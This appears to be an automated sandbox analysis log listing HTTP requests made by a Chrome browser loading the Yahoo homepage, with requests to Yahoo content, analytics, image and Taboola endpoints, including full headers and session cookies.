Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=Shopping&m_id=react-wafer-shopping&m_mode=json&partner=none HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=GamesMini&lang=en-US&m_id=react-wafer-games&m_mode=json&region=US&rid=1sbetl5j2qvpa&site=fp&apptype=default&instance_id=games&_evtSrc=deferLoad HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=WeatherPreviewRefresh&lang=en-US&m_id=react-wafer-weather&m_mode=json&region=US&rid=1sbetl5j2qvpa&site=fp&apptype=default&instance_id=weather&_evtSrc=deferLoad HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=99ec3df7-bf20-382a-9567-4240d7a85639,1d8f0ccd-1e4a-4558-81b8-7a3f9ddb44e8,55689e67-d5f8-30ea-8394-04902959b16f,a78cb2ab-498a-3f34-85ea-fa9feb4c02de,fd248489-9443-4693-9a9f-1c2336eb0e64,0056d40c-adda-3e16-82e7-435111b2ce12,2bf7856d-e1c9-3e74-9cdd-f9756173199a,36e16f65-51ee-3a9e-9d88-5adf2e3b7907,f0f95b59-a002-3ce2-a2f9-69bfafbf114c,dde82b60-8c41-344d-a437-7422cb916f0b&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-menu-1.3.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58831/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-loader-2.7.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/css/react-wafer-nativeAd.NativeAd.atomic.ltr.79e35ab9cc994315caecc61b1737c23f.min.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-sticky-1.2.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/c/900b0e6.caas-news_web.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=1sbetl5j2qvpa&m_mode=json&designtype=default HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/jMW9TnmcMAOJFMuiiKZolQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/5a7962ba37d45b87596e3ec992be838a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A
Source: global traffic	HTTP traffic detected: GET /aaq/notifications/js/sh-5.17.91.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/hc/homepage-pwa-defer-1.1.6.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8 HTTP/1.1Host: api.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/images/spaceball.gif HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/voiceSearch1x-1620383531565.min.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/jMW9TnmcMAOJFMuiiKZolQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/5a7962ba37d45b87596e3ec992be838a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/QE4kbKFBO8gdTgYpRmjkEg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/a4b292845afa16f99e2a1a08e343ce42.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ybar/exp.json HTTP/1.1Host: edge-mcdn.secure.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/2yghjbKRjDThM2qwTZX.zQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/04271874beb49d28a98b07ab57abeeca.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/4u3T0U1pgURnOM.6ttN8YQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/ap.org/80581492448034925ad4c55dda24d99b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/hpeiTT5J5gj5Yh1JVbkktg--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/fox_news_text_979/40045cfcc7eb21abc7dac4d9fffd740d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/tZay1xySRmlImjQjDsh.RA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/sacramento_bee_mcclatchy_569/17ba9bec4c2d05668d604a7ee3f22992.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&rn=1.9185749898548843 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; 